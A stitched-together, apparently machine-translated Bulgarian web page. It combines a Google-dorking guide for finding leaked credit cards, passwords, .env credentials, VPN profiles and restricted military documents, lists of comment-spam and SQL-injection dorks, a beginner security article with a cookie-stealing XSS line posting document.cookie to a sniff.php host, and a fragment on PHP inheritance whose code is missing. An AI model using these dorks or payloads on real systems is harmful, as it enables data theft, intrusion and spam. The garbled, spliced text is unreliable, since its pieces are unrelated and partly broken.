Inurl odna stat php id multiverb. PHP: Наследяване

Получаването на лични данни не винаги означава хакване - понякога те се публикуват публично. Познаването на настройките на Google и малко изобретателност ще ви позволят да намерите много интересни неща - от номера на кредитни карти до документи на ФБР.

ПРЕДУПРЕЖДЕНИЕ Цялата информация е предоставена само за информационни цели. Нито редакторите, нито авторът носят отговорност за евентуални вреди, причинени от материалите на тази статия.

Днес всичко е свързано с интернет, без да се притеснявате за ограничаване на достъпа. Поради това много лични данни стават плячка на търсачките. Роботите Spider вече не се ограничават до уеб страници, а индексират цялото налично съдържание в Интернет и постоянно добавят непублична информация към своите бази данни. Откриването на тези тайни е лесно - просто трябва да знаете как да попитате за тях.

Търсене на файлове

В способни ръце Google бързо ще намери всичко, което не се намира в интернет, например лична информация и файлове за служебно ползване. Те често са скрити като ключ под килим: няма реални ограничения за достъп, данните просто лежат на гърба на сайта, където не водят връзки. Стандартният уеб интерфейс на Google предоставя само основни настройки за разширено търсене, но дори те ще бъдат достатъчни.

Можете да ограничите търсенето си в Google до конкретен тип файл, като използвате два оператора: filetype и ext. Първият определя формата, определен от търсачката от заглавието на файла, вторият определя разширението на файла, независимо от вътрешното му съдържание. При търсене и в двата случая трябва само да посочите разширението. Първоначално операторът ext беше удобен за използване в случаите, когато файлът нямаше специфични характеристики на формата (например за търсене на ini и cfg конфигурационни файлове, които могат да съдържат всичко). Сега алгоритмите на Google са променени и няма видима разлика между операторите - в повечето случаи резултатите са едни и същи.


Филтриране на резултатите

По подразбиране Google търси думи и като цяло всички въведени знаци във всички файлове на индексираните страници. Можете да ограничите областта за търсене по домейн от първо ниво, конкретен сайт или по местоположението на последователността за търсене в самите файлове. За първите две опции използвайте оператора на сайта, последван от името на домейна или избрания сайт. В третия случай цял набор от оператори ви позволява да търсите информация в служебни полета и метаданни. Например allinurl ще намери дадения в тялото на самите връзки, allinanchor - в текста, оборудван с тага , allintitle - в заглавията на страниците, allintext - в тялото на страниците.

За всеки оператор има олекотена версия с по-кратко име (без префикса all). Разликата е, че allinurl ще намери връзки с всички думи, а inurl ще намери връзки само с първата от тях. Втората и следващите думи от заявката могат да се появят навсякъде в уеб страниците. Операторът inurl също се различава от друг оператор с подобно значение - сайт. Първият също ви позволява да намерите произволна последователност от знаци във връзка към търсения документ (например /cgi-bin/), което се използва широко за намиране на компоненти с известни уязвимости.

Нека да го опитаме на практика. Взимаме филтъра allintext и правим заявката да създаде списък с номера и кодове за потвърждение на кредитни карти, които ще изтекат само след две години (или когато собствениците им се уморят да хранят всички).

Allintext: дата на изтичане на номера на картата /2017 cvv

Когато прочетете в новините, че млад хакер е „хакнал сървърите“ на Пентагона или НАСА, крадейки класифицирана информация, в повечето случаи говорим точно за такава основна техника за използване на Google. Да предположим, че се интересуваме от списък със служители на НАСА и тяхната информация за контакт. Със сигурност такъв списък е наличен в електронен вид. За удобство или поради недоглеждане може да е и на самия уебсайт на организацията. Логично е, че в този случай няма да има връзки към него, тъй като е предназначен за вътрешно ползване. Какви думи могат да бъдат в такъв файл? Най-малко - полето „адрес“. Тестването на всички тези предположения е лесно.


Inurl:nasa.gov filetype:xlsx "адрес"


Използваме бюрокрация

Находки като тази са приятно докосване. Наистина солиден улов се осигурява от по-подробно познаване на операторите на Google за уебмастъри, самата мрежа и особеностите на структурата на това, което се търси. Познавайки подробностите, можете лесно да филтрирате резултатите и да прецизирате свойствата на необходимите файлове, за да получите наистина ценни данни в останалите. Смешно е, че тук на помощ идва бюрокрацията. Той произвежда стандартни формулировки, които са удобни за търсене на секретна информация, случайно изтекла в интернет.

Например печатът за декларация за разпространение, изискван от Министерството на отбраната на САЩ, означава стандартизирани ограничения върху разпространението на документ. Буквата А означава публични съобщения, в които няма нищо тайно; B - предназначен само за вътрешно ползване, C - строго поверително и така до F. Отделно се откроява буквата X, която обозначава особено ценна информация, представляваща държавна тайна от най-високо ниво. Нека онези, които трябва да правят това на служба, да потърсят такива документи, а ние ще се ограничим до файлове с буквата C. Според директива 5230.24 на DoDI тази маркировка се присвоява на документи, съдържащи описание на критични технологии, които попадат под експортен контрол . Можете да намерите такава внимателно защитена информация на сайтове в домейна от първо ниво.mil, разпределен за американската армия.

„ИЗЯВЛЕНИЕ ЗА РАЗПРОСТРАНЕНИЕ C“ inurl:navy.mil

Много удобно е, че домейнът .mil съдържа само сайтове от Министерството на отбраната на САЩ и неговите договорни организации. Резултатите от търсенето с ограничение на домейна са изключително чисти и заглавията говорят сами за себе си. Търсенето на руски тайни по този начин е практически безполезно: в domains.ru и .rf цари хаос, а имената на много оръжейни системи звучат като ботанически (ПП „Кипарис“, самоходни оръдия „Акация“) или дори приказни ( TOS „Буратино“).


Като внимателно изучавате всеки документ от сайт в домейна .mil, можете да видите други маркери, за да прецизирате търсенето си. Например препратка към ограниченията за износ „Sec 2751“, която също е удобна за търсене на интересна техническа информация. От време на време той се премахва от официалните сайтове, където някога се е появявал, така че ако не можете да следвате интересна връзка в резултатите от търсенето, използвайте кеша на Google (кеш оператор) или сайта на Интернет архива.

Изкачване в облаците

В допълнение към случайно разсекретени държавни документи, връзки към лични файлове от Dropbox и други услуги за съхранение на данни, които създават „частни“ връзки към публично публикувани данни, понякога изскачат в кеша на Google. Още по-лошо е с алтернативните и домашни услуги. Например следната заявка намира данни за всички клиенти на Verizon, които имат инсталиран FTP сървър и активно използват своя рутер.

Allinurl:ftp:// verizon.net

Сега има повече от четиридесет хиляди такива умни хора, а през пролетта на 2015 г. те бяха много повече. Вместо Verizon.net можете да замените името на всеки известен доставчик и колкото по-известен е той, толкова по-голяма може да бъде уловката. Чрез вградения FTP сървър можете да видите файлове на външно устройство за съхранение, свързано към рутера. Обикновено това е NAS за отдалечена работа, личен облак или някакъв вид peer-to-peer изтегляне на файлове. Цялото съдържание на такива медии се индексира от Google и други търсачки, така че можете да получите достъп до файлове, съхранявани на външни устройства чрез директна връзка.

Гледайки конфигурациите

Преди широко разпространената миграция към облака, обикновените FTP сървъри управляваха като отдалечено хранилище, което също имаше много уязвимости. Много от тях са актуални и днес. Например популярната програма WS_FTP Professional съхранява конфигурационни данни, потребителски акаунти и пароли във файла ws_ftp.ini. Лесно се намира и чете, тъй като всички записи се записват в текстов формат, а паролите се криптират с алгоритъма Triple DES след минимално обфускация. В повечето версии просто изхвърлянето на първия байт е достатъчно.

Лесно е да дешифрирате такива пароли с помощта на помощната програма WS_FTP Password Decryptor или безплатна уеб услуга.

Когато се говори за хакване на произволен уебсайт, те обикновено имат предвид получаване на парола от регистрационни файлове и резервни копия на конфигурационни файлове на CMS или приложения за електронна търговия. Ако знаете типичната им структура, можете лесно да посочите ключовите думи. Редове като тези в ws_ftp.ini са изключително често срещани. Например в Drupal и PrestaShop винаги има потребителски идентификатор (UID) и съответна парола (pwd), а цялата информация се съхранява във файлове с разширение .inc. Можете да ги търсите по следния начин:

"pwd=" "UID=" ext:inc

Разкриване на пароли за СУБД

В конфигурационните файлове на SQL сървърите потребителските имена и имейл адресите се съхраняват в чист текст, а техните MD5 хешове се записват вместо пароли. Строго погледнато, невъзможно е да ги дешифрирате, но можете да намерите съвпадение сред известните двойки хеш-парола.

Все още има СУБД, които дори не използват хеширане на пароли. Конфигурационните файлове на всеки от тях могат просто да се видят в браузъра.

Intext:DB_PASSWORD filetype:env

С появата на сървърите на Windows мястото на конфигурационните файлове беше частично заето от системния регистър. Можете да търсите в неговите клонове по абсолютно същия начин, като използвате reg като тип файл. Например така:

Filetype:reg HKEY_CURRENT_USER "Парола"=

Да не забравяме очевидното

Понякога е възможно да се стигне до класифицирана информация, като се използват данни, които са били случайно отворени и са попаднали на вниманието на Google. Идеалният вариант е да намерите списък с пароли в някакъв общ формат. Само отчаяни хора могат да съхраняват информация за акаунта в текстов файл, документ на Word или електронна таблица на Excel, но винаги има достатъчно от тях.

Тип файл:xls inurl:парола

От една страна, има много средства за предотвратяване на подобни инциденти. Необходимо е да посочите адекватни права за достъп в htaccess, да закърпите CMS, да не използвате леви скриптове и да затворите други дупки. Има и файл със списък с изключения от robots.txt, който забранява на търсачките да индексират посочените в него файлове и директории. От друга страна, ако структурата на robots.txt на някой сървър се различава от стандартната, тогава веднага става ясно какво се опитват да скрият в него.

Списъкът с директории и файлове на всеки сайт се предхожда от стандартния индекс на. Тъй като за целите на услугата трябва да се появи в заглавието, има смисъл да ограничите търсенето му до оператора intitle. Интересни неща има в директориите /admin/, /personal/, /etc/ и дори /secret/.

Следете за актуализации

Уместността тук е изключително важна: старите уязвимости се затварят много бавно, но Google и неговите резултати от търсене непрекъснато се променят. Има дори разлика между филтър „последната секунда“ (&tbs=qdr:s в края на URL адреса на заявката) и филтър „в реално време“ (&tbs=qdr:1).

Времевият интервал от датата на последната актуализация на файла също се посочва имплицитно от Google. Чрез графичния уеб интерфейс можете да изберете един от стандартните периоди (час, ден, седмица и т.н.) или да зададете период от време, но този метод не е подходящ за автоматизация.

От вида на адресната лента можете само да гадаете за начин за ограничаване на извеждането на резултати с помощта на конструкцията &tbs=qdr:. Буквата y след нея задава границата от една година (&tbs=qdr:y), m показва резултатите за последния месец, w - за седмицата, d - за последния ден, h - за последния час, n - за минутата и s - за дай ми секунда. Най-новите резултати, които Google току-що обяви, се намират с помощта на филтъра &tbs=qdr:1.

Ако трябва да напишете умен скрипт, ще бъде полезно да знаете, че диапазонът от дати е зададен в Google в юлиански формат с помощта на оператора daterange. Така например можете да намерите списък с PDF документи с думата поверително, изтеглени от 1 януари до 1 юли 2015 г.

Поверителен файлов тип:pdf диапазон от дати:2457024-2457205

Диапазонът е посочен в юлиански формат на датата, без да се взема предвид дробната част. Превеждането им ръчно от григорианския календар е неудобно. По-лесно е да използвате конвертор на дата.

Отново насочване и филтриране

В допълнение към посочването на допълнителни оператори в заявката за търсене, те могат да бъдат изпратени директно в тялото на връзката. Например, спецификацията filetype:pdf съответства на конструкцията as_filetype=pdf. Това прави удобно да поискате всякакви разяснения. Да приемем, че извеждането на резултати само от Република Хондурас е посочено чрез добавяне на конструкцията cr=countryHN към URL адреса за търсене и само от град Бобруйск - gcs=Бобруйск. Можете да намерите пълен списък в секцията за програмисти.

Инструментите за автоматизация на Google са предназначени да улеснят живота, но често добавят проблеми. Например, градът на потребителя се определя от IP адреса на потребителя чрез WHOIS. Въз основа на тази информация Google не само балансира натоварването между сървърите, но и променя резултатите от търсенето. В зависимост от региона, за една и съща заявка на първата страница ще се появят различни резултати, като някои от тях може да са напълно скрити. Двубуквеният код след директивата gl=country ще ви помогне да се почувствате като космополит и да търсите информация от всяка държава. Например кодът на Холандия е NL, но Ватикана и Северна Корея нямат собствен код в Google.

Често резултатите от търсенето се оказват разхвърляни дори след използване на няколко разширени филтъра. В този случай е лесно да се изясни заявката, като се добавят няколко думи за изключение към нея (пред всяка от тях се поставя знак минус). Например банкиране, имена и урок често се използват с думата Лични. Следователно по-чистите резултати от търсенето ще бъдат показани не чрез учебникарски пример на заявка, а чрез прецизирана:

Заглавие:"Индекс на /лични/" -имена -урок -банкиране

Последен пример

Усъвършенстваният хакер се отличава с това, че сам си осигурява всичко необходимо. Например VPN е удобно нещо, но или скъпо, или временно и с ограничения. Да се ​​регистрирате за абонамент за себе си е твърде скъпо. Хубаво е, че има групови абонаменти, а с помощта на Google лесно ставаш част от група. За да направите това, просто намерете конфигурационния файл на Cisco VPN, който има доста нестандартно PCF разширение и разпознаваем път: Program Files\Cisco Systems\VPN Client\Profiles. Една заявка и се присъединявате например към приятелския екип на университета в Бон.

Тип файл: pcf vpn ИЛИ Група

ИНФОРМАЦИЯ Google намира конфигурационни файлове с пароли, но много от тях са написани в криптирана форма или са заменени с хешове. Ако видите низове с фиксирана дължина, веднага потърсете услуга за дешифриране.

Паролите се съхраняват криптирани, но Морис Масард вече е написал програма за дешифрирането им и я предоставя безплатно чрез thecampusgeeks.com.

Google провежда стотици различни видове атаки и тестове за проникване. Има много опции, засягащи популярни програми, основни формати на бази данни, множество уязвимости на PHP, облаци и т.н. Знаейки точно какво търсите, ще ви бъде много по-лесно да намерите информацията, от която се нуждаете (особено информация, която не сте възнамерявали да направите публично достояние). Shodan не е единственият, който захранва с интересни идеи, но всяка база данни от индексирани мрежови ресурси!

Как да търсите правилно с помощта на google.com

Вероятно всеки знае как да използва търсачка като Google =) Но не всеки знае, че ако правилно съставите заявка за търсене, използвайки специални конструкции, можете да постигнете резултатите от това, което търсите, много по-ефективно и бързо =) В тази статия Ще се опитам да покажа това и какво трябва да направите, за да търсите правилно

Google поддържа няколко оператора за разширено търсене, които имат специално значение при търсене в google.com. Обикновено тези твърдения променят търсенето или дори казват на Google да извършва напълно различни видове търсения. Например връзката: конструкция е специален оператор, а заявката връзка: www.google.comняма да ви даде нормално търсене, а вместо това ще намери всички уеб страници, които имат връзки към google.com.
алтернативни видове заявки

кеш: Ако включите други думи в заявка, Google ще маркира тези включени думи в кеширания документ.
Например, кеш:www.уеб сайтще покаже кешираното съдържание с маркирана думата "web".

връзка: Заявката за търсене по-горе ще покаже уеб страници, които съдържат връзки към посочената заявка.
Например: връзка: www.сайтще покаже всички страници, които имат връзка към http://www.site

свързани: Показва уеб страници, които са „свързани“ с определената уеб страница.
Например, свързани: www.google.comще изброи уеб страници, които са подобни на началната страница на Google.

info: Искане на информация: ще представи част от информацията, която Google има за уеб страницата, която искате.
Например, информация: уебсайтще покаже информация за нашия форум =) (Армада - Форум за възрастни уеб администратори).

Други искания за информация

define: Заявката define: ще предостави дефиниция на думите, които въвеждате след нея, събрани от различни онлайн източници. Дефиницията ще бъде за цялата въведена фраза (т.е. ще включва всички думи в точната заявка).

акции: Ако започнете заявка с акции: Google ще обработи останалите условия на заявката като борсови символи и ще направи връзка към страница, показваща готова информация за тези символи.
Например, запаси: Intel yahooще покаже информация за Intel и Yahoo. (Имайте предвид, че трябва да въвеждате символи за извънредни новини, а не името на компанията)

Модификатори на заявки

site: Ако включите site: в заявката си, Google ще ограничи резултатите до онези уебсайтове, които намери в този домейн.
Можете също да търсите по отделни зони, като ru, org, com и т.н. сайт:com сайт: ru)

allintitle: Ако стартирате заявка с allintitle:, Google ще ограничи резултатите до всички думи на заявката в заглавието.
Например, allintitle: търсене в Googleще върне всички страници на Google чрез търсене като изображения, блог и т.н

intitle: Ако включите intitle: в заявката си, Google ще ограничи резултатите до документи, съдържащи тази дума в заглавието.
Например, заглавие: Бизнес

allinurl: Ако стартирате заявка с allinurl: Google ще ограничи резултатите до всички думи на заявката в URL адреса.
Например, allinurl: търсене в Googleще върне документи с google и търсене в заглавието. Освен това, като опция, можете да разделяте думите с наклонена черта (/), след което думите от двете страни на наклонената черта ще бъдат търсени в една и съща страница: Пример allinurl: foo/бар

inurl: Ако включите inurl: в заявката си, Google ще ограничи резултатите до документи, съдържащи тази дума в URL адреса.
Например, Анимация inurl:site

intext: търси само посочената дума в текста на страницата, като игнорира заглавието и текстовете на връзките и други неща, които не са свързани с. Има и производно на този модификатор - allintext: т.е. освен това, всички думи в заявката ще бъдат търсени само в текста, което също може да бъде важно, като се игнорират често използвани думи във връзките
Например, intext:форум

daterange: търси в рамките на времева рамка (daterange:2452389-2452389), датите за времената са в юлиански формат.

Е, и всякакви интересни примери за заявки

Примери за писане на заявки за Google. За спамъри

Inurl:control.guest?a=знак

Site:books.dreambook.com „URL адрес на началната страница“ „Подпишете моя“ inurl:sign

Сайт: www.freegb.net Начална страница

Inurl:sign.asp „Брой знаци“

„Съобщение:“ inurl:sign.cfm „Подател:“

Inurl:register.php „Регистрация на потребител“ „Уебсайт“

Inurl:edu/guestbook „Подпишете се в книгата за гости“

Inurl:post „Публикуване на коментар“ „URL“

Inurl:/archives/ „Коментари:“ „Запомняте ли информация?“

„Сценарий и книга за гости, създадени от:“ „URL:“ „Коментари:“

Inurl:?action=add “phpBook” “URL”

Заглавие: „Изпратете нова история“

Списания

Inurl:www.livejournal.com/users/ mode=reply

Inurl greatestjournal.com/ mode=reply

Inurl:fastbb.ru/re.pl?

Inurl:fastbb.ru /re.pl? "Книга за гости"

Блогове

Inurl:blogger.com/comment.g?”postID””анонимен”

Inurl:typepad.com/ „Публикувайте коментар“ „Запомняте ли лична информация?“

Inurl:greatestjournal.com/community/ „Публикуване на коментар“ „адреси на анонимни плакати“

„Публикуване на коментар“ „адреси на анонимни плакати“ -

Заглавие: "Публикуване на коментар"

Inurl:pirillo.com „Публикуване на коментар“

Форуми

Inurl:gate.html?”name=Forums” “mode=reply”

Inurl:”forum/posting.php?mode=reply”

Inurl:"mes.php?"

Inurl:”members.html”

Inurl:forum/memberlist.php?“

Става смешно всеки път, когато хората започнат да говорят за частни глупаци.
Нека започнем, като дефинираме какво е глупак и какво е частник:

ДОРКА (ДОРКА) - това е маска, с други думи, заявка към търсачката, в отговор на която системата ще изведе списък от страници на уебсайтове, чиито адреси съдържат същия DORK.

Частно - информация, до която има достъп само един човек или малка група хора, работещи по един проект.

Сега нека да разгледаме фразата " Частен секс ".
Ако изпратим заявка за намиране на сайтове за даден домейн и тя ни даде някакъв резултат, тогава всеки може да направи това и следователно предоставената информация не е лична.

И малко за продавачите на игри/пари/магазини.
Много хора обичат да правят глупости от този тип:

Steam.php?q= bitcoin.php?id= minecraft.php?id=

Нека си представим, че не разбираме нищо от глупаци и се опитаме да видим колко връзки ни дава Google:

Вероятно веднага сте имали такива мисли в главата си: „Хренович, ти не знаеш нищо, виж колко връзки има, хората на практика продават пари!“
Но ще ви кажа не, защото сега нека видим какви връзки ще ни даде подобна заявка:


Мисля, че схващате смисъла, сега нека използваме оператора на Google inurl:за точно търсене и да видим какво ще излезе:


Да, броят рязко намаля, после пак същото. И ако вземем предвид, че ще има дублирани домейни + връзки от плана ***.info/vaernamo-nyheter/dennis-steam.php, тогава изводът е, че получаваме 5-10 броя.

Колко хора смятате, че ще добавят такива връзки към уебсайта си?

Трябва да сте регистрирани, за да видите връзките.

“ и т.н., да, разбира се, само няколко.

Което означава да пишеш глупаци като steam.php?id=няма смисъл, тогава въпросът е какъв дорки да готвим?
И всичко е съвсем просто, трябва да съберем възможно най-много връзки на нашата врата. Най-големият брой връзки ще идва от най-примитивната връзка на формуляра index.php?id=


Опа, цели 538 милиона, добър резултат, нали?
Нека добавим още inurl:


Е, половината от тях изчезнаха, но сега почти всички връзки ще имат index.php?id=

От горното можем да заключим: имаме нужда от най-често използваните директории, именно от тях нашите резултати ще бъдат най-високи.

Мисля, че много хора имаха мисли като: "Е, какво следва? Имаме нужда от тематични сайтове, а не от всякакви сайтове за любители на кученца!" Е, разбира се, но за да преминем към темите на сайтовете, ще трябва да се запознаем с операторите на Google, нека да започнем. Ние няма да анализираме всички оператори, а само тези, които ще ни помогнат при анализирането на страницата.

Кои оператори ни интересуват:

inurl: Показва сайтове, които съдържат определената дума в адреса на страницата.
Пример:
Имаме нужда от сайтове, където адресът на страницата съдържа думата количка.Нека създадем заявка като inurl: количкаи ще ни даде всички връзки, където адресът съдържа думата количка. Тези. Използвайки това искане, постигнахме по-стриктно спазване на нашите условия и елиминиране на връзки, които не ни подхождат.

intext: страниците се избират въз основа на съдържанието на страницата.
Пример:
Да кажем, че имаме нужда от страници, на които са написани думите bitcoin. Нека създадем заявка като intext:bitcoinСега ще ни даде връзки, където в текста е използвана думата bitcoin.

intitle: показват се страници, които имат думите, посочени в заявката в заглавния таг Мисля, че вече разбирате как се пишат заявки, така че няма да давам примери.

allinanchor: операторът показва страници, в описанието на които има думи, които ни интересуват.

свързани: може би един от важните оператори, които предоставят сайтове с подобно съдържание.
Пример:
свързано:exmo.com - ще ни даде борсите, опитайте да го проверите сами.

Е, може би всички основни оператори, от които се нуждаем.

Сега нека да преминем към изграждането на пътища с помощта на тези оператори.

Преди всяка врата ще поставим inurl:

Inurl:cart?id= inurl:index?id= inurl:catalog?id=


Нека използваме и intext: да кажем, че търсим играчки, което означава, че имаме нужда от думи като dota2, portal, CSGO...

Intext:dota2 intext:портал intext:csgo

Ако имаме нужда от фраза, тогава allinurl:

Allinurl: GTA SAMP...

Сега нека да го залепим заедно и да получим този вид:

Inurl:cart?id= intext:dota2 inurl:cart?id= intext:portal inurl:cart?id= intext:csgo inurl:cart?id= allinurl:GTA SAMP inurl:index?id= intext:dota2 inurl:index? id= intext:portal inurl:index?id= intext:csgo inurl:index?id= allinurl:GTA SAMP inurl:catalog?id= intext:dota2 inurl:catalog?id= intext:portal inurl:catalog?id= intext: csgo inurl:catalog?id= allinurl:GTA SAMP

В резултат на това получихме игрални врати с по-тясно и прецизно търсене.
Така че използвайте мозъка си и експериментирайте малко с оператори за търсене и ключови думи, няма нужда да се извращавате и да пишете глупости като hochymnogoigr.php?id=

Благодаря на всички, надявам се, че сте получили поне нещо полезно от тази статия.

Реших да поговоря малко за информационната сигурност. Статията ще бъде полезна за начинаещи програмисти и тези, които току-що са започнали да се занимават с разработка на Frontend. Какъв е проблемът?

Много начинаещи разработчици толкова се увличат от писането на код, че напълно забравят за сигурността на работата си. И най-важното, те забравят за такива уязвимости като SQL и XXS заявки. Те също измислят лесни пароли за своите административни панели и са подложени на груба сила. Какви са тези атаки и как можете да ги избегнете?

SQL инжекция

SQL инжекцията е най-често срещаният тип атака срещу база данни, която се извършва по време на SQL заявка за конкретна СУБД. Много хора и дори големи компании страдат от подобни атаки. Причината е грешка на разработчика при писане на базата данни и, строго погледнато, SQL заявки.

Възможна е атака чрез SQL инжектиране поради неправилна обработка на входните данни, използвани в SQL заявките. Ако хакерската атака е успешна, рискувате да загубите не само съдържанието на базите данни, но и пароли и регистрационни файлове на административния панел. И тези данни ще бъдат напълно достатъчни, за да превземете напълно сайта или да направите необратими корекции в него.

Атаката може да бъде успешно възпроизведена в скриптове, написани на PHP, ASP, Perl и други езици. Успехът на такива атаки зависи повече от това каква СУБД се използва и как е реализиран самият скрипт. В света има много уязвими сайтове за SQL инжекции. Това е лесно да се провери. Просто въведете „doks“ - това са специални заявки за търсене на уязвими сайтове. Ето някои от тях:

  • inurl:index.php?id=
  • inurl:trainers.php?id=
  • inurl:buy.php?category=
  • inurl:article.php?ID=
  • inurl:play_old.php?id=
  • inurl:declaration_more.php?decl_id=
  • inurl:pageid=
  • inurl:games.php?id=
  • inurl:page.php?file=
  • inurl:newsDetail.php?id=
  • inurl:gallery.php?id=
  • inurl:article.php?id=

Как да ги използваме? Просто ги въведете в търсачката на Google или Yandex. Търсачката ще ви даде не само уязвим сайт, но и страница за тази уязвимост. Но няма да спрем дотук и ще се уверим, че страницата наистина е уязвима. За да направите това, достатъчно е да поставите единични кавички „‘ след стойността „id=1“. Нещо като това:

  • inurl:games.php?id=1'

И сайтът ще ни даде грешка относно SQL заявката. От какво се нуждае нашият хакер след това?

И тогава той се нуждае от тази връзка към страницата с грешки. След това работата по уязвимостта в повечето случаи се извършва в дистрибуцията "Kali linux" с нейните помощни програми за тази част: въвеждане на код за инжектиране и извършване на необходимите операции. Как ще стане това, не мога да ви кажа. Но можете да намерите информация за това в Интернет.

XSS атака

Този тип атака се извършва върху файлове с бисквитки. Потребителите от своя страна обичат да ги запазват. Защо не? Какво щяхме да правим без тях? В крайна сметка, благодарение на бисквитките, не е нужно да въвеждаме паролата за Vk.com или Mail.ru сто пъти. И малко са тези, които им отказват. Но в интернет често се появява правило за хакерите: коефициентът на удобство е право пропорционален на коефициента на несигурност.

За да реализира XSS атака, нашият хакер се нуждае от познания по JavaScript. На пръв поглед езикът е много прост и безвреден, защото няма достъп до компютърни ресурси. Хакерът може да работи само с JavaScript в браузър, но това е достатъчно. В крайна сметка основното е да въведете кода в уеб страницата.

Няма да говоря подробно за процеса на атака. Ще ви кажа само основите и значението на това как се случва това.

Хакер може да добави JS код към някой форум или книга за гости:

document.location.href =”http://192.168.1.7/sniff.php?test”

Скриптовете ще ни пренасочат към заразената страница, където кодът ще бъде изпълнен: било то снифър, някакъв вид хранилище или експлойт, който по някакъв начин ще открадне нашите бисквитки от кеша.

Защо JavaScript? Тъй като JavaScript е страхотен при обработката на уеб заявки и има достъп до бисквитки. Но ако нашият скрипт ни отведе до някакъв сайт, потребителят лесно ще го забележи. Тук хакерът използва по-хитър вариант - просто въвежда кода в картинката.

Img=ново изображение();

Img.src=”http://192.168.1.7/sniff.php?”+document.cookie;

Просто създаваме изображение и му присвояваме нашия скрипт като адрес.

Как да се предпазите от всичко това? Много е просто - не кликвайте върху подозрителни връзки.

DoS и DDos атаки

DoS (от английския отказ от услуга - отказ от услуга) е хакерска атака срещу компютърна система с цел да доведе до повреда. Това е създаване на условия, при които добросъвестните потребители на системата нямат достъп до предоставените системни ресурси (сървъри) или този достъп е затруднен. Сривът на системата може също да бъде стъпка към нейното превземане, ако в извънредна ситуация софтуерът произвежда някаква критична информация: например версия, част от програмен код и т.н. Но най-често това е мярка за икономически натиск: загубата на проста услуга, която генерира доход. Сметките от доставчика или мерките за избягване на атака значително удрят „целта" в джоба. В момента DoS и DDoS атаките са най-популярни, тъй като позволяват почти всяка система да се провали, без да оставят правно значими доказателства.

Каква е разликата между DoS и DDos атака?

DoS е атака, проектирана по умен начин. Например, ако сървърът не проверява правилността на входящите пакети, тогава хакер може да направи заявка, която ще отнеме цяла вечност за обработка и няма да има достатъчно време на процесора за работа с други връзки. Съответно на клиентите ще бъде отказано обслужване. Но няма да е възможно да претоварите или деактивирате големи добре познати сайтове по този начин. Те са въоръжени с доста широки канали и супер мощни сървъри, които могат да се справят с такова претоварване без никакви проблеми.

DDoS всъщност е същата атака като DoS. Но ако в DoS има един пакет заявка, тогава в DDoS може да има стотици или повече от тях. Дори свръхмощните сървъри може да не успеят да се справят с такова претоварване. Нека ви дам един пример.

DoS атака е, когато водите разговор с някого, но след това някой невъзпитан човек идва и започва да крещи силно. Или е невъзможно, или много трудно да се говори. Решение: обадете се на охрана, която ще успокои и изведе човека от помещението. DDoS атаките са, когато се втурне тълпа от хиляди такива невъзпитани хора. В този случай охраната няма да може да върже всички и да ги отведе.

DoS и DDoS се извършват от компютри, така наречените зомбита. Това са компютри на потребители, хакнати от хакери, които дори не подозират, че тяхната машина участва в атака срещу сървър.

Как да се предпазите от това? Общо взето няма как. Но можете да направите нещата по-трудни за хакера. За да направите това, трябва да изберете добър хостинг с мощни сървъри.

Bruteforce атака

Разработчикът може да измисли много системи за защита от атаки, да прегледа напълно скриптовете, които сме написали, да провери сайта за уязвимости и т.н. Но когато стигне до последната стъпка от оформлението на уебсайта, а именно когато просто зададе парола за администраторския панел, той може да забрави за едно нещо. Парола!

Строго не се препоръчва да задавате проста парола. Това може да бъде 12345, 1114457, vasya111 и т.н. Не се препоръчва да задавате пароли с дължина под 10-11 знака. В противен случай може да бъдете обект на най-честата и неусложнена атака - Brute force.

Brute force е атака за търсене на парола в речника с помощта на специални програми. Речниците могат да бъдат различни: латински, изброяване с числа, да речем, до определен диапазон, смесени (латиница + цифри) и дори има речници с уникални знаци @#4$%&*~~`’”\ ? и т.н.

Разбира се, този тип атака е лесна за избягване. Всичко, което трябва да направите, е да измислите сложна парола. Дори captcha може да ви спаси. Освен това, ако вашият сайт е направен на CMS, тогава много от тях откриват този тип атака и блокират IP. Винаги трябва да помните, че колкото повече различни символи има в една парола, толкова по-трудна е тя да се познае.

Как работят хакерите? В повечето случаи те или подозират, или знаят част от паролата предварително. Съвсем логично е да се предположи, че паролата на потребителя със сигурност няма да се състои от 3 или 5 знака. Такива пароли водят до често хакване. По принцип хакерите вземат диапазон от 5 до 10 знака и добавят няколко знака, които може да знаят предварително. След това се генерират пароли с необходимите диапазони. Дистрибуцията на Kali Linux дори има програми за такива случаи. И готово, атаката вече няма да продължи дълго, тъй като обемът на речника вече не е толкова голям. Освен това хакерът може да използва силата на видеокартата. Някои от тях поддържат системата CUDA, а скоростта на търсене се увеличава до 10 пъти. И сега виждаме, че атака по такъв прост начин е съвсем реална. Но не само уебсайтовете са обект на груба сила.

Уважаеми разработчици, никога не забравяйте за системата за информационна сигурност, защото днес много хора, включително държави, страдат от такива видове атаки. В крайна сметка най-голямата уязвимост е човек, който винаги може да се разсее някъде или да пропусне нещо. Ние сме програмисти, но не сме програмирани машини. Бъдете винаги нащрек, защото загубата на информация може да има сериозни последствия!

Наследяването е обектно-ориентиран механизъм за програмиране, който ви позволява да опишете нов клас въз основа на съществуващ (родител).

Клас, който е получен чрез наследяване от друг, се нарича подклас. Тази връзка обикновено се описва с термините "родител" и "дете". Дъщерен клас се извлича от родителския и наследява неговите характеристики: свойства и методи. Обикновено подкласът добавя нова функционалност към функционалността на родителския клас (наричан още суперклас).

За да създадете подклас, трябва да използвате ключовата дума extends в декларацията на класа, последвана от името на класа, от който наследявате:

Подкласът наследява достъпа до всички методи и свойства на родителския клас, тъй като те са от тип public. Това означава, че за екземпляри на класа my_Cat можем да извикаме метода add_age() и да имаме достъп до свойството $age, въпреки че те са дефинирани в класа cat. Също така в горния пример подкласът няма собствен конструктор. Ако подкласът не декларира свой собствен конструктор, тогава при създаване на екземпляри на подкласа конструкторът на суперкласа ще бъде извикан автоматично.

Моля, обърнете внимание, че подкласовете могат да заменят свойствата и методите. Като дефинираме подклас, ние гарантираме, че неговият екземпляр е дефиниран от характеристиките първо на дъщерния и след това на родителския клас. За да разберете това по-добре, помислете за пример:

Когато извиква $kitty->foo(), PHP интерпретаторът не може да намери такъв метод в класа my_Cat, така че се използва имплементацията на този метод, дефинирана в класа Cat. Въпреки това, подкласът дефинира свое собствено свойство $age, така че когато е достъпен в метода $kitty->foo(), PHP интерпретаторът намира това свойство в класа my_Cat и го използва.

Тъй като вече разгледахме темата за определяне на типа на аргументите, остава да кажем, че ако родителският клас е посочен като тип, тогава всички наследници на метода също ще бъдат достъпни за използване, вижте следния пример:

